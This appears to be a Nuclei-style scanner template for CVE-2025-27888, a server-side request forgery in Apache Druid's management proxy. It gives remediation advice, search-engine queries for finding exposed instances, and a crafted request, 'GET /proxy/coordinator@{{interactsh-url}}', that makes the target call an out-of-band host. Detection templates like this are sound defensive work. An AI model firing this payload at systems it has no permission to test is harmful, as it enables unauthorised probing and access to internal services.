id: CVE-2025-27888

info:
  name: Apache Druid - Server-Side Request Forgery
  author: xbow,DhiyaneshDK
  severity: high
  description: |
    Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.
  impact: |
    Authenticated attackers can exploit SSRF vulnerabilities through the management proxy to redirect requests to arbitrary servers, potentially enabling XSS, XSRF attacks, or accessing internal services.
  remediation: |
    Upgrade to Apache Druid version 31.0.2 or 32.0.1, or disable the management proxy to mitigate this vulnerability.
  reference:
    - https://lists.apache.org/thread/c0qo989pwtrqkjv6xfr0c30dnjq8vf39
    - http://www.openwall.com/lists/oss-security/2025/03/19/7
  classification:
    epss-score: 0.01656
    epss-percentile: 0.73529
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: druid
    shodan-query: http.title:"apache druid"
    fofa-query: title="apache druid"
    google-query: intitle:"apache druid"
  tags: cve,cve2025,apache,druid,ssrf,oast,oss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/unified-console.html'

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Apache Druid")'
        internal: true

  - raw:
      - |
        GET /proxy/coordinator@{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
# digest: 4a0a00473045022004ad6155555a3579e98f45627ad0f817048c1f9e488b87aced0422f720aea0b6022100b00fa44530ab3ca843a2456d81229bde0933bf2fd0da5fa68a53b27b7f1c87a0:922c64590222798bb761d5b6d8e72950